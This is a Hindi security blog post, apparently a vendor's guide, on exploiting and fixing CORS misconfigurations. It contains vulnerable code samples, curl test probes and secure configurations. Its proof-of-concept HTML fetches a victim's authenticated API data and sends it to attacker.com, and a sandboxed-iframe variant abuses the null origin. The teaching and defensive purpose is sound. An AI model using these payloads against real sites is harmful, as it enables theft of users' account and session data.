CORS मिसकॉन्फ़िगरेशन बग बाउंटी प्रोग्रामों में सबसे लगातार पुरस्कृत की जाने वाली भेद्यताओं में से एक है — और सबसे कम आँकी जाने वाली भी। एक अकेला मिसकॉन्फ़िगर्ड Access-Control-Allow-Origin हेडर हर ऑथेंटिकेटेड API एंडपॉइंट को हमलावर-नियंत्रित डोमेन के सामने उजागर कर सकता है।
डिफ़ॉल्ट रूप से, ब्राउज़र Same-Origin Policy (SOP)लागू करते हैं — मतलब, attacker.com पर चलने वाला JavaScript, bank.comसे रिस्पॉन्स नहीं पढ़ सकता। CORS वह तंत्र है जो इस पाबंदी को ढीला करता है — और मिसकॉन्फ़िगर होने पर, यह SOP को पूरी तरह कमज़ोर कर सकता है।
Cross-Origin Resource Sharing (CORS) एक HTTP-हेडर-आधारित तंत्र है जो सर्वर को यह बताने देता है कि उसके अपने के अलावा कौन-से origin (डोमेन + स्कीम + पोर्ट) उसके रिस्पॉन्स पढ़ने की अनुमति रखते हैं। जब ब्राउज़र कोई क्रॉस-ऑरिजिन रिक्वेस्ट भेजता है, तो वह सर्वर की CORS पॉलिसी लागू करता है।
समझने लायक ज़रूरी हेडर:
Access-Control-Allow-Origin — बताता है कि कौन-सा origin रिस्पॉन्स पढ़ सकता हैAccess-Control-Allow-Credentials — क्या कुकीज़/ऑथ हेडर शामिल हैंAccess-Control-Allow-Methods — अनुमत HTTP मेथडAccess-Control-Allow-Headers — अनुमत रिक्वेस्ट हेडरAccess-Control-Expose-Headers — JavaScript को दिखने वाले रिस्पॉन्स हेडरसबसे क्रिटिकल भेद्यता तब होती है जब कोई सर्वर दोनों लौटाता है: Access-Control-Allow-Origin: [attacker-controlled] और Access-Control-Allow-Credentials: true। इसका मतलब है कि हमलावर अपनी साइट से ऑथेंटिकेटेड रिक्वेस्ट भेज सकते हैं और रिस्पॉन्स पढ़ सकते हैं।
ब्राउज़र Access-Control-Allow-Origin: * को क्रेडेंशियल्स के साथ जोड़े जाने पर अस्वीकार करते हैं। डेवलपर अक्सर यह कोशिश करते हैं और फिर origin को डायनामिक रूप से रिफ़्लेक्ट करके इसे "ठीक" करते हैं — जो एक बदतर भेद्यता बना देता है।
# Vulnerable server-side logic (Python/Flask)
@app.after_request
def add_cors(response):
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # NEVER DO THIS
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
अब कोई भी origin ऑथेंटिकेटेड रिस्पॉन्स पढ़ सकता है। बग बाउंटी में पाई जाने वाली यह सबसे आम CORS भेद्यता है।
# Vulnerable: checks if trusted domain appears ANYWHERE in origin
if 'trusted-bank.com' in request.headers.get('Origin', ''):
# Bypass: attacker registers evil-trusted-bank.com or trusted-bank.com.evil.com
allow_origin(origin)
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
यह null origin सैंडबॉक्स्ड iframe, रीडायरेक्ट, और file:// URL के ज़रिए ट्रिगर हो सकता है। हमलावर ऐसे पेज बना सकते हैं जो Origin: nullके साथ रिक्वेस्ट भेजते हैं।
# Meant to allow *.company.com but also allows evil.company.com.attacker.com
if origin.endswith('.company.com'):
allow_origin(origin)
जब Access-Control-Max-Age सेट किया जाता है, तो अगर origin वैलिडेशन लॉजिक कैश इनवैलिडेशन के बिना बदल जाए, तो कैश किए गए प्री-फ़्लाइट रिस्पॉन्स का शोषण किया जा सकता है।
# Test 1: Basic reflection check
curl -s -I -H "Origin: https://evil.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 2: Null origin
curl -s -I -H "Origin: null" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 3: Subdomain bypass
curl -s -I -H "Origin: https://target.com.evil.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 4: Pre-domain bypass
curl -s -I -H "Origin: https://eviltarget.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Install and run Corsy
pip install corsy
python3 corsy.py -u https://target.com -t 10
# Scan a list of URLs
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"
Burp Suite Pro में, Active Scanner CORS मिसकॉन्फ़िगरेशन का स्वचालित रूप से परीक्षण करता है। मैनुअल टेस्टिंग के लिए, CORS* extension BApp Store से उपयोग करें। चरण:
Origin: https://evil.com हेडरAccess-Control-Allow-OriginAccess-Control-Allow-Credentials: true भी मौजूद है| रिस्पॉन्स | गंभीरता | शोषण-योग्य? |
|---|---|---|
ACAO: * | लो-मीडियम | सिर्फ़ क्रेडेंशियल्स के बिना |
ACAO: [evil origin] अकेले | मीडियम | क्रेडेंशियल्स के बिना |
ACAO: [evil origin] + ACAC: true | क्रिटिकल | हाँ — पूर्ण क्रेडेंशियल चोरी |
ACAO: null + ACAC: true | हाई | सैंडबॉक्स्ड iframe के ज़रिए |
निम्नलिखित PoC CORS मिसकॉन्फ़िगरेशन के प्रभाव को प्रदर्शित करता है। केवल उन्हीं एप्लिकेशन के ख़िलाफ़ टेस्ट करें जिनके आप मालिक हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति है।
<!-- Hosted on attacker.com -->
<script>
fetch('https://victim.com/api/account/profile', {
credentials: 'include', // Sends cookies
mode: 'cors'
})
.then(r => r.text())
.then(data => {
// Exfiltrate to attacker's server
fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
})
.catch(e => console.log('CORS blocked:', e));
</script>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
fetch('https://victim.com/api/userdata', {credentials:'include'})
.then(r=>r.text())
.then(d=>parent.postMessage(d,'*'));
</script>">
</iframe>
<script>
window.addEventListener('message', e => {
fetch('/log?d=' + encodeURIComponent(e.data));
});
</script>
अगर कोई भरोसेमंद सबडोमेन (जैसे, legacy.victim.com) टेकओवर के लिए उपलब्ध है और API *.victim.comपर भरोसा करता है, तो सबडोमेन टेकओवर को CORS के साथ जोड़ने पर एक क्रिटिकल प्रभाव-चेन बन जाती है।
एक शोधकर्ता ने पाया कि पेमेंट API एंडपॉइंट /api/v2/payment-methods क्रेडेंशियल्स के साथ किसी भी origin हेडर को रिफ़्लेक्ट करता था। एक मिलते-जुलते डोमेन पर एक दुर्भावनापूर्ण पेज होस्ट करके, वे पीड़ितों के सेव किए गए क्रेडिट कार्ड मेटाडेटा (आख़िरी 4 अंक, एक्सपायरी, बिलिंग एड्रेस) और अकाउंट बैलेंस को चुपचाप पढ़ सकते थे जब पीड़ित हमलावर के पेज पर जाता।
एक हेल्थकेयर कंपनी के पेशेंट पोर्टल ने null origin से रिक्वेस्ट स्वीकार कीं। इंटरनल एडमिन API ने पेशेंट-फ़ेसिंग API जैसी ही CORS पॉलिसी इस्तेमाल की। हमलावर का सैंडबॉक्स्ड iframe ऑथेंटिकेटेड सेशन से PHI (Protected Health Information) पढ़ सकता था — सीधा HIPAA उल्लंघन।
| कंपनी | भेद्यता | भुगतान |
|---|---|---|
| Shopify | मर्चेंट API में origin रिफ़्लेक्शन | $25,000 |
| Uber | वाइल्डकार्ड सबडोमेन ट्रस्ट | $3,000 |
| Yahoo | Null origin स्वीकृति | $2,500 |
| Starbucks | प्री-डोमेन बायपास | $4,000 |
# Python/Flask - Secure Implementation
ALLOWED_ORIGINS = {
'https://app.company.com',
'https://admin.company.com',
'https://company.com'
}
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Vary'] = 'Origin' # Critical for caching!
return response
// Node.js/Express - Secure Implementation
const allowedOrigins = new Set([
'https://app.company.com',
'https://company.com'
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
next();
});
# nginx.conf - Secure CORS
map $http_origin $cors_origin {
default "";
"https://app.company.com" $http_origin;
"https://company.com" $http_origin;
}
server {
location /api/ {
if ($cors_origin) {
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Vary' 'Origin' always;
}
# Never use: add_header 'Access-Control-Allow-Origin' '*';
}
}
*) कभी उपयोग न करेंnull origin पर कभी भरोसा न करेंVary: Origin हेडर शामिल करेंCSRF स्टेट बदलने वाली रिक्वेस्ट (राइट) के लिए ब्राउज़र की स्वचालित कुकी-भेजने की सुविधा का शोषण करता है। हमलावर को रिस्पॉन्स पढ़ने की ज़रूरत नहीं होती। CORS मिसकॉन्फ़िगरेशन हमलावरों को क्रॉस-ऑरिजिन रिस्पॉन्स पढ़ने देते हैं। दोनों को पीड़ित के ऑथेंटिकेटेड होने की ज़रूरत होती है। CORS, CSRF से सुरक्षा नहीं देता — उसके लिए CSRF टोकन का उपयोग करें।
# Add to your security pipeline (e.g., GitHub Actions)
- name: CORS Security Scan
run: |
# Test critical endpoints
for endpoint in /api/user /api/account /api/payments; do
response=$(curl -s -I \
-H "Origin: https://evil-test-domain.com" \
"https://${{ env.TARGET_URL }}$endpoint")
if echo "$response" | grep -qi "access-control-allow-origin: https://evil"; then
echo "CORS MISCONFIGURATION DETECTED: $endpoint"
exit 1
fi
done
echo "CORS check passed"
KENSAI आपके सभी API एंडपॉइंट पर CORS मिसकॉन्फ़िगरेशन, रिफ़्लेक्टेड origin भेद्यताओं, और null-origin ट्रस्ट समस्याओं को स्कैन करता है — निरंतर रूप से।
मुफ़्त स्कैन शुरू करें →गंभीरता हेडर के संयोजन पर निर्भर करती है। Access-Control-Allow-Origin: * अकेले (क्रेडेंशियल्स के बिना) लो-मीडियम गंभीरता का है। क्रिटिकल मामलों में मनमाना/रिफ़्लेक्टेड origin और Access-Control-Allow-Credentials: true दोनों शामिल होते हैं — यह पूर्ण सेशन हाइजैकिंग और डेटा चोरी को सक्षम करता है।
CORS एक्सप्लॉइट के लिए ज़रूरी है कि पीड़ित टार्गेट साइट पर सक्रिय सेशन के साथ हमलावर के पेज पर जाए। एक्सप्लॉइट बैकग्राउंड में चुपचाप होता है — पीड़ित को कुछ नहीं दिखता। यह इन्हें फ़िशिंग परिदृश्यों में ख़ासतौर पर ख़तरनाक बना देता है।
नहीं। CORS एक सेम-ऑरिजिन-पॉलिसी ढील तंत्र है और यह इस बात की परवाह किए बिना काम करता है कि HTTPS इस्तेमाल हो रहा है या नहीं। स्कीम (http बनाम https) origin का हिस्सा है, लेकिन HTTPS इस्तेमाल करने से CORS मिसकॉन्फ़िगरेशन ठीक नहीं होते।
KENSAI का एक्टिव स्कैनर संशोधित origin हेडर के साथ सभी API एंडपॉइंट का परीक्षण करता है, रिफ़्लेक्टेड origin, null origin स्वीकृति, और रिफ़्लेक्टेड origin के साथ क्रेडेंशियल-समर्थन के क्रिटिकल संयोजन की जाँच करता है। फ़ाइंडिंग्स को सिर्फ़ हेडर की मौजूदगी से नहीं, बल्कि वास्तविक शोषण-योग्यता से प्राथमिकता दी जाती है।
सुरक्षा वैकल्पिक नहीं है।
🗡️ KENSAI टीम